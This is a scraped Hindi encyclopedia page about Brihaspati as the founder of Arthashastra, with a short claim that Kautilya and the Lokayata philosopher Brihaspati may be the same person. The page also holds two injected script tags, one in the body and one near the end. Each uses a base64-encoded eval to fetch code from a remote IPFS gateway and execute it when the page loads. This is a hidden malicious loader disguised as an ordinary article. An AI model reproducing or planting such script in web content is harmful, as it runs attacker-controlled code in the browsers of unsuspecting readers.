एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

बृहस्पति -अर्थशास्त्र प्रवर्त्तक  

बृहस्पति एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- बृहस्पति (बहुविकल्पी)
  • कौटिल्य ने अर्थशास्त्र में लोकायत दर्शन का सहज प्रतिपादन किया है। इस प्रकार अर्थशास्त्र के रचनाकार कौटिल्य एवं लोकायत दर्शन के प्रणेता बृहस्पति एक ही हैं ऐसा माना जा सकता है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

बाहरी कड़ियाँ

संबंधित लेख


वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

"https://amp.bharatdiscovery.org/w/index.php?title=बृहस्पति_-अर्थशास्त्र_प्रवर्त्तक&oldid=226386" से लिया गया